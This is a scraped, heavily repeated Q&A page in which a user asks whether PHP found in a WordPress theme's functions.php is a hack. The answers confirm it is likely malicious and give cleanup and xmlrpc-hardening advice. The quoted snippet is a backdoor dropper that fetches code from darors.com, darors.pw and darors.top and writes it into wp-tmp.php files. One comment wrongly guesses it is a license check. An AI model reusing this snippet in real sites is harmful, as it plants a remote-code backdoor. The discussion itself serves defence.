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Is this a hacking script in function.php?
2019 Community Moderator ElectionIs using eval() ok in this scenarioPrevent Hacking of Wordpress SiteWhere do hackers usually run their hacking script?Updating From Mobile App - Exposing Site to HackingLoad files contentWhy is file_get_contents returning page source?Hacked WordPress website, as notified by Google Search Console, what to do?Adding function to child theme's function.phpCan't save php string to a custom fieldHacked site. Fixed. Nailing down the cause
I have code like below in neve theme WordPress. I feel suspicious about this code
$wp_auth_key='ac15616a33a4bae1388c29de0202c5e1';
if (($tmpcontent = @file_get_contents("http://www.darors.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.darors.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false)
if (stripos($tmpcontent, $wp_auth_key) !== false)
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php'))
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php'))
@file_put_contents('wp-tmp.php', $tmpcontent);
elseif ($tmpcontent = @file_get_contents("http://www.darors.pw/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false )
if (stripos($tmpcontent, $wp_auth_key) !== false)
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php'))
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php'))
@file_put_contents('wp-tmp.php', $tmpcontent);
elseif ($tmpcontent = @file_get_contents("http://www.darors.top/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false ) {
php hacked
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I have code like below in neve theme WordPress. I feel suspicious about this code
$wp_auth_key='ac15616a33a4bae1388c29de0202c5e1';
if (($tmpcontent = @file_get_contents("http://www.darors.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.darors.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false)
if (stripos($tmpcontent, $wp_auth_key) !== false)
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php'))
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php'))
@file_put_contents('wp-tmp.php', $tmpcontent);
elseif ($tmpcontent = @file_get_contents("http://www.darors.pw/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false )
if (stripos($tmpcontent, $wp_auth_key) !== false)
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php'))
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php'))
@file_put_contents('wp-tmp.php', $tmpcontent);
elseif ($tmpcontent = @file_get_contents("http://www.darors.top/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false ) {
php hacked
It looks like this might be something intended to check a license key for a paid theme/plugin. It kinda depends on whathttp://www.darors.pw/code.php
contains.
– ceejayoz
4 hours ago
add a comment |
I have code like below in neve theme WordPress. I feel suspicious about this code
$wp_auth_key='ac15616a33a4bae1388c29de0202c5e1';
if (($tmpcontent = @file_get_contents("http://www.darors.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.darors.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false)
if (stripos($tmpcontent, $wp_auth_key) !== false)
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php'))
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php'))
@file_put_contents('wp-tmp.php', $tmpcontent);
elseif ($tmpcontent = @file_get_contents("http://www.darors.pw/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false )
if (stripos($tmpcontent, $wp_auth_key) !== false)
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php'))
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php'))
@file_put_contents('wp-tmp.php', $tmpcontent);
elseif ($tmpcontent = @file_get_contents("http://www.darors.top/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false ) {
php hacked
I have code like below in neve theme WordPress. I feel suspicious about this code
$wp_auth_key='ac15616a33a4bae1388c29de0202c5e1';
if (($tmpcontent = @file_get_contents("http://www.darors.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.darors.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false)
if (stripos($tmpcontent, $wp_auth_key) !== false)
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php'))
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php'))
@file_put_contents('wp-tmp.php', $tmpcontent);
elseif ($tmpcontent = @file_get_contents("http://www.darors.pw/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false )
if (stripos($tmpcontent, $wp_auth_key) !== false)
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php'))
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php'))
@file_put_contents('wp-tmp.php', $tmpcontent);
elseif ($tmpcontent = @file_get_contents("http://www.darors.top/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false ) {
php hacked
php hacked
asked 6 hours ago
Latheesh V M VillaLatheesh V M Villa
3491219
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It looks like this might be something intended to check a license key for a paid theme/plugin. It kinda depends on whathttp://www.darors.pw/code.php
contains.
– ceejayoz
4 hours ago
add a comment |
It looks like this might be something intended to check a license key for a paid theme/plugin. It kinda depends on whathttp://www.darors.pw/code.php
contains.
– ceejayoz
4 hours ago
It looks like this might be something intended to check a license key for a paid theme/plugin. It kinda depends on what
http://www.darors.pw/code.php
contains.– ceejayoz
4 hours ago
It looks like this might be something intended to check a license key for a paid theme/plugin. It kinda depends on what
http://www.darors.pw/code.php
contains.– ceejayoz
4 hours ago
add a comment |
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I would agree that there is a strong possibility of a hacked site with that code. The @file_put_contents statement is trying to write to your wp-admin folder. That's not good.
So I would recommend a de-hacking inspection. If you think your site got hacked, there are several (many) things you must do to 'de-hack' it. Including:
- changing all passwords (WP admins, FTP, hosting, database)
- reinstalling WP (via the Updates page) and then reinstalling all themes (from the repository) and plugins manually.
- checking for unknown files (via your hosting File Manager; if you sort by date, invalid ones should stick out because you updated everything).
There are lots of help in the googles on how to de-hack a site. I wrote a set of procedures that I use. It can be done, though, just takes a bit of work.
These procedures are very useful to know, thanks for posting them. But how does code get injected into a theme'sfunctions.php
like this? Can it be prevented or is just monitoring and de-hacking the way to deal with such cases?
– jsmod
5 hours ago
1
There's a lot of ways that the code can get there. There have been several vulns of WP plugins lately that can allow admin access (privilege escalation) that allow for code insertion. Prevention, IMHO, is by good security practices (strong passwords everywhere - hosting, FTP, admin-level), watching the user accounts, using plugins that are kept current, keeping WP/themes/plugins updated, etc. And watching the site - looking at generated page code, looking for files that aren't supposed to be there, etc. And ensuring your dev computers are also secure and protected.
– Rick Hellewell
4 hours ago
1
I took the time to investigate a hack on a site that I cleaned up. That particular one used a vuln in the xmlprc.prg process. There are ways to block that particular feature in WP, which I detailed here: securitydawg.com/analyzing-a-wordpress-hack . The hack on that site was done via xmlprc.prg - I had evidence of it via the raw access logs on the server. The folks at the Internet Storm Center helped with the analysis, and suggested that was the attack vector. So all of the sites that I manage don't allow access to xmlprc.prg . But, good security practices also help.
– Rick Hellewell
4 hours ago
Thank you so much for this additional information. I really adds value :) But wouldn't blocking xmlprc also disable the WordPress mobile app?
– jsmod
4 hours ago
1
Probably, although I don't use the WP mobile app on any of my sites, so not an issue. There is a way to enable xmlprc on a site and still block it. Take a look here (scroll down to question 21/22): apps.wordpress.com/support/#faq-ios-gs1 . You could also add specific support to users by adjusting the code in my post to check for user accounts to allow access to xmlprc. And, the newer WP API doesn't need xmlprc, which might be a better alternative. See this article for issues: kinsta.com/blog/wordpress-xml-rpc/# . A search for xmlprc will show hacks and protections.
– Rick Hellewell
3 hours ago
add a comment |
Yes, most probably yes.
It gets some code from remote server and saves it on yours. So yeah - it definitely can be harmful.
Thanks for confirming I saw this in my client ..have to warn him about that.
– Latheesh V M Villa
6 hours ago
add a comment |
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I would agree that there is a strong possibility of a hacked site with that code. The @file_put_contents statement is trying to write to your wp-admin folder. That's not good.
So I would recommend a de-hacking inspection. If you think your site got hacked, there are several (many) things you must do to 'de-hack' it. Including:
- changing all passwords (WP admins, FTP, hosting, database)
- reinstalling WP (via the Updates page) and then reinstalling all themes (from the repository) and plugins manually.
- checking for unknown files (via your hosting File Manager; if you sort by date, invalid ones should stick out because you updated everything).
There are lots of help in the googles on how to de-hack a site. I wrote a set of procedures that I use. It can be done, though, just takes a bit of work.
These procedures are very useful to know, thanks for posting them. But how does code get injected into a theme'sfunctions.php
like this? Can it be prevented or is just monitoring and de-hacking the way to deal with such cases?
– jsmod
5 hours ago
1
There's a lot of ways that the code can get there. There have been several vulns of WP plugins lately that can allow admin access (privilege escalation) that allow for code insertion. Prevention, IMHO, is by good security practices (strong passwords everywhere - hosting, FTP, admin-level), watching the user accounts, using plugins that are kept current, keeping WP/themes/plugins updated, etc. And watching the site - looking at generated page code, looking for files that aren't supposed to be there, etc. And ensuring your dev computers are also secure and protected.
– Rick Hellewell
4 hours ago
1
I took the time to investigate a hack on a site that I cleaned up. That particular one used a vuln in the xmlprc.prg process. There are ways to block that particular feature in WP, which I detailed here: securitydawg.com/analyzing-a-wordpress-hack . The hack on that site was done via xmlprc.prg - I had evidence of it via the raw access logs on the server. The folks at the Internet Storm Center helped with the analysis, and suggested that was the attack vector. So all of the sites that I manage don't allow access to xmlprc.prg . But, good security practices also help.
– Rick Hellewell
4 hours ago
Thank you so much for this additional information. I really adds value :) But wouldn't blocking xmlprc also disable the WordPress mobile app?
– jsmod
4 hours ago
1
Probably, although I don't use the WP mobile app on any of my sites, so not an issue. There is a way to enable xmlprc on a site and still block it. Take a look here (scroll down to question 21/22): apps.wordpress.com/support/#faq-ios-gs1 . You could also add specific support to users by adjusting the code in my post to check for user accounts to allow access to xmlprc. And, the newer WP API doesn't need xmlprc, which might be a better alternative. See this article for issues: kinsta.com/blog/wordpress-xml-rpc/# . A search for xmlprc will show hacks and protections.
– Rick Hellewell
3 hours ago
add a comment |
I would agree that there is a strong possibility of a hacked site with that code. The @file_put_contents statement is trying to write to your wp-admin folder. That's not good.
So I would recommend a de-hacking inspection. If you think your site got hacked, there are several (many) things you must do to 'de-hack' it. Including:
- changing all passwords (WP admins, FTP, hosting, database)
- reinstalling WP (via the Updates page) and then reinstalling all themes (from the repository) and plugins manually.
- checking for unknown files (via your hosting File Manager; if you sort by date, invalid ones should stick out because you updated everything).
There are lots of help in the googles on how to de-hack a site. I wrote a set of procedures that I use. It can be done, though, just takes a bit of work.
These procedures are very useful to know, thanks for posting them. But how does code get injected into a theme'sfunctions.php
like this? Can it be prevented or is just monitoring and de-hacking the way to deal with such cases?
– jsmod
5 hours ago
1
There's a lot of ways that the code can get there. There have been several vulns of WP plugins lately that can allow admin access (privilege escalation) that allow for code insertion. Prevention, IMHO, is by good security practices (strong passwords everywhere - hosting, FTP, admin-level), watching the user accounts, using plugins that are kept current, keeping WP/themes/plugins updated, etc. And watching the site - looking at generated page code, looking for files that aren't supposed to be there, etc. And ensuring your dev computers are also secure and protected.
– Rick Hellewell
4 hours ago
1
I took the time to investigate a hack on a site that I cleaned up. That particular one used a vuln in the xmlprc.prg process. There are ways to block that particular feature in WP, which I detailed here: securitydawg.com/analyzing-a-wordpress-hack . The hack on that site was done via xmlprc.prg - I had evidence of it via the raw access logs on the server. The folks at the Internet Storm Center helped with the analysis, and suggested that was the attack vector. So all of the sites that I manage don't allow access to xmlprc.prg . But, good security practices also help.
– Rick Hellewell
4 hours ago
Thank you so much for this additional information. I really adds value :) But wouldn't blocking xmlprc also disable the WordPress mobile app?
– jsmod
4 hours ago
1
Probably, although I don't use the WP mobile app on any of my sites, so not an issue. There is a way to enable xmlprc on a site and still block it. Take a look here (scroll down to question 21/22): apps.wordpress.com/support/#faq-ios-gs1 . You could also add specific support to users by adjusting the code in my post to check for user accounts to allow access to xmlprc. And, the newer WP API doesn't need xmlprc, which might be a better alternative. See this article for issues: kinsta.com/blog/wordpress-xml-rpc/# . A search for xmlprc will show hacks and protections.
– Rick Hellewell
3 hours ago
add a comment |
I would agree that there is a strong possibility of a hacked site with that code. The @file_put_contents statement is trying to write to your wp-admin folder. That's not good.
So I would recommend a de-hacking inspection. If you think your site got hacked, there are several (many) things you must do to 'de-hack' it. Including:
- changing all passwords (WP admins, FTP, hosting, database)
- reinstalling WP (via the Updates page) and then reinstalling all themes (from the repository) and plugins manually.
- checking for unknown files (via your hosting File Manager; if you sort by date, invalid ones should stick out because you updated everything).
There are lots of help in the googles on how to de-hack a site. I wrote a set of procedures that I use. It can be done, though, just takes a bit of work.
I would agree that there is a strong possibility of a hacked site with that code. The @file_put_contents statement is trying to write to your wp-admin folder. That's not good.
So I would recommend a de-hacking inspection. If you think your site got hacked, there are several (many) things you must do to 'de-hack' it. Including:
- changing all passwords (WP admins, FTP, hosting, database)
- reinstalling WP (via the Updates page) and then reinstalling all themes (from the repository) and plugins manually.
- checking for unknown files (via your hosting File Manager; if you sort by date, invalid ones should stick out because you updated everything).
There are lots of help in the googles on how to de-hack a site. I wrote a set of procedures that I use. It can be done, though, just takes a bit of work.
answered 6 hours ago
Rick HellewellRick Hellewell
3,91321024
3,91321024
These procedures are very useful to know, thanks for posting them. But how does code get injected into a theme'sfunctions.php
like this? Can it be prevented or is just monitoring and de-hacking the way to deal with such cases?
– jsmod
5 hours ago
1
There's a lot of ways that the code can get there. There have been several vulns of WP plugins lately that can allow admin access (privilege escalation) that allow for code insertion. Prevention, IMHO, is by good security practices (strong passwords everywhere - hosting, FTP, admin-level), watching the user accounts, using plugins that are kept current, keeping WP/themes/plugins updated, etc. And watching the site - looking at generated page code, looking for files that aren't supposed to be there, etc. And ensuring your dev computers are also secure and protected.
– Rick Hellewell
4 hours ago
1
I took the time to investigate a hack on a site that I cleaned up. That particular one used a vuln in the xmlprc.prg process. There are ways to block that particular feature in WP, which I detailed here: securitydawg.com/analyzing-a-wordpress-hack . The hack on that site was done via xmlprc.prg - I had evidence of it via the raw access logs on the server. The folks at the Internet Storm Center helped with the analysis, and suggested that was the attack vector. So all of the sites that I manage don't allow access to xmlprc.prg . But, good security practices also help.
– Rick Hellewell
4 hours ago
Thank you so much for this additional information. I really adds value :) But wouldn't blocking xmlprc also disable the WordPress mobile app?
– jsmod
4 hours ago
1
Probably, although I don't use the WP mobile app on any of my sites, so not an issue. There is a way to enable xmlprc on a site and still block it. Take a look here (scroll down to question 21/22): apps.wordpress.com/support/#faq-ios-gs1 . You could also add specific support to users by adjusting the code in my post to check for user accounts to allow access to xmlprc. And, the newer WP API doesn't need xmlprc, which might be a better alternative. See this article for issues: kinsta.com/blog/wordpress-xml-rpc/# . A search for xmlprc will show hacks and protections.
– Rick Hellewell
3 hours ago
add a comment |
These procedures are very useful to know, thanks for posting them. But how does code get injected into a theme'sfunctions.php
like this? Can it be prevented or is just monitoring and de-hacking the way to deal with such cases?
– jsmod
5 hours ago
1
There's a lot of ways that the code can get there. There have been several vulns of WP plugins lately that can allow admin access (privilege escalation) that allow for code insertion. Prevention, IMHO, is by good security practices (strong passwords everywhere - hosting, FTP, admin-level), watching the user accounts, using plugins that are kept current, keeping WP/themes/plugins updated, etc. And watching the site - looking at generated page code, looking for files that aren't supposed to be there, etc. And ensuring your dev computers are also secure and protected.
– Rick Hellewell
4 hours ago
1
I took the time to investigate a hack on a site that I cleaned up. That particular one used a vuln in the xmlprc.prg process. There are ways to block that particular feature in WP, which I detailed here: securitydawg.com/analyzing-a-wordpress-hack . The hack on that site was done via xmlprc.prg - I had evidence of it via the raw access logs on the server. The folks at the Internet Storm Center helped with the analysis, and suggested that was the attack vector. So all of the sites that I manage don't allow access to xmlprc.prg . But, good security practices also help.
– Rick Hellewell
4 hours ago
Thank you so much for this additional information. I really adds value :) But wouldn't blocking xmlprc also disable the WordPress mobile app?
– jsmod
4 hours ago
1
Probably, although I don't use the WP mobile app on any of my sites, so not an issue. There is a way to enable xmlprc on a site and still block it. Take a look here (scroll down to question 21/22): apps.wordpress.com/support/#faq-ios-gs1 . You could also add specific support to users by adjusting the code in my post to check for user accounts to allow access to xmlprc. And, the newer WP API doesn't need xmlprc, which might be a better alternative. See this article for issues: kinsta.com/blog/wordpress-xml-rpc/# . A search for xmlprc will show hacks and protections.
– Rick Hellewell
3 hours ago
These procedures are very useful to know, thanks for posting them. But how does code get injected into a theme's
functions.php
like this? Can it be prevented or is just monitoring and de-hacking the way to deal with such cases?– jsmod
5 hours ago
These procedures are very useful to know, thanks for posting them. But how does code get injected into a theme's
functions.php
like this? Can it be prevented or is just monitoring and de-hacking the way to deal with such cases?– jsmod
5 hours ago
1
1
There's a lot of ways that the code can get there. There have been several vulns of WP plugins lately that can allow admin access (privilege escalation) that allow for code insertion. Prevention, IMHO, is by good security practices (strong passwords everywhere - hosting, FTP, admin-level), watching the user accounts, using plugins that are kept current, keeping WP/themes/plugins updated, etc. And watching the site - looking at generated page code, looking for files that aren't supposed to be there, etc. And ensuring your dev computers are also secure and protected.
– Rick Hellewell
4 hours ago
There's a lot of ways that the code can get there. There have been several vulns of WP plugins lately that can allow admin access (privilege escalation) that allow for code insertion. Prevention, IMHO, is by good security practices (strong passwords everywhere - hosting, FTP, admin-level), watching the user accounts, using plugins that are kept current, keeping WP/themes/plugins updated, etc. And watching the site - looking at generated page code, looking for files that aren't supposed to be there, etc. And ensuring your dev computers are also secure and protected.
– Rick Hellewell
4 hours ago
1
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I took the time to investigate a hack on a site that I cleaned up. That particular one used a vuln in the xmlprc.prg process. There are ways to block that particular feature in WP, which I detailed here: securitydawg.com/analyzing-a-wordpress-hack . The hack on that site was done via xmlprc.prg - I had evidence of it via the raw access logs on the server. The folks at the Internet Storm Center helped with the analysis, and suggested that was the attack vector. So all of the sites that I manage don't allow access to xmlprc.prg . But, good security practices also help.
– Rick Hellewell
4 hours ago
I took the time to investigate a hack on a site that I cleaned up. That particular one used a vuln in the xmlprc.prg process. There are ways to block that particular feature in WP, which I detailed here: securitydawg.com/analyzing-a-wordpress-hack . The hack on that site was done via xmlprc.prg - I had evidence of it via the raw access logs on the server. The folks at the Internet Storm Center helped with the analysis, and suggested that was the attack vector. So all of the sites that I manage don't allow access to xmlprc.prg . But, good security practices also help.
– Rick Hellewell
4 hours ago
Thank you so much for this additional information. I really adds value :) But wouldn't blocking xmlprc also disable the WordPress mobile app?
– jsmod
4 hours ago
Thank you so much for this additional information. I really adds value :) But wouldn't blocking xmlprc also disable the WordPress mobile app?
– jsmod
4 hours ago
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Probably, although I don't use the WP mobile app on any of my sites, so not an issue. There is a way to enable xmlprc on a site and still block it. Take a look here (scroll down to question 21/22): apps.wordpress.com/support/#faq-ios-gs1 . You could also add specific support to users by adjusting the code in my post to check for user accounts to allow access to xmlprc. And, the newer WP API doesn't need xmlprc, which might be a better alternative. See this article for issues: kinsta.com/blog/wordpress-xml-rpc/# . A search for xmlprc will show hacks and protections.
– Rick Hellewell
3 hours ago
Probably, although I don't use the WP mobile app on any of my sites, so not an issue. There is a way to enable xmlprc on a site and still block it. Take a look here (scroll down to question 21/22): apps.wordpress.com/support/#faq-ios-gs1 . You could also add specific support to users by adjusting the code in my post to check for user accounts to allow access to xmlprc. And, the newer WP API doesn't need xmlprc, which might be a better alternative. See this article for issues: kinsta.com/blog/wordpress-xml-rpc/# . A search for xmlprc will show hacks and protections.
– Rick Hellewell
3 hours ago
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Yes, most probably yes.
It gets some code from remote server and saves it on yours. So yeah - it definitely can be harmful.
Thanks for confirming I saw this in my client ..have to warn him about that.
– Latheesh V M Villa
6 hours ago
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Yes, most probably yes.
It gets some code from remote server and saves it on yours. So yeah - it definitely can be harmful.
Thanks for confirming I saw this in my client ..have to warn him about that.
– Latheesh V M Villa
6 hours ago
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Yes, most probably yes.
It gets some code from remote server and saves it on yours. So yeah - it definitely can be harmful.
Yes, most probably yes.
It gets some code from remote server and saves it on yours. So yeah - it definitely can be harmful.
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Thanks for confirming I saw this in my client ..have to warn him about that.
– Latheesh V M Villa
6 hours ago
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Thanks for confirming I saw this in my client ..have to warn him about that.
– Latheesh V M Villa
6 hours ago
Thanks for confirming I saw this in my client ..have to warn him about that.
– Latheesh V M Villa
6 hours ago
Thanks for confirming I saw this in my client ..have to warn him about that.
– Latheesh V M Villa
6 hours ago
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It looks like this might be something intended to check a license key for a paid theme/plugin. It kinda depends on what
http://www.darors.pw/code.php
contains.– ceejayoz
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